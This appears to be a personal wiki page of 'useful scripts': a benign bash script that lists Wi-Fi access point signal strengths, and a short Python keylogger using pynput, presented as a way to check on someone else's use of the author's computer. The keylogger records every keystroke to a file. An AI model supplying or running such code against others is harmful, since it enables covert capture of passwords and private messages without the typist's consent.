====== Useful scripts ======
===== Report signal strengths for wireless APs =====
Originally developed for use at [[:work:]], it's just as useful in other contexts, so I have reproduced it here. Requires [[gh>charmbracelet/gum]].

<file bash sigstr.sh>
#!/bin/bash
device=$(ip ad | awk '/^[0-9]+:/ { print $2 }' | sed 's/://' | gum choose)
sudo iw $device scan | 
        awk '/^BSS/ { print $2 }; /signal/ { print $2, $3, "\f" }' |
        sed 's/(on$//'
# each result will look like:
#   00:11:22:33:44:55
#   -72.00 dBm
# additionally, they will be separated by "\f" characters
</file>

===== Log keys in Python =====
Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the [[https://pypi.org/project/pynput/|pynput]] package.

<file python klog.py>
from pynput.keyboard import Key, Listener
import logging
 
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener:
    listener.join()
</file>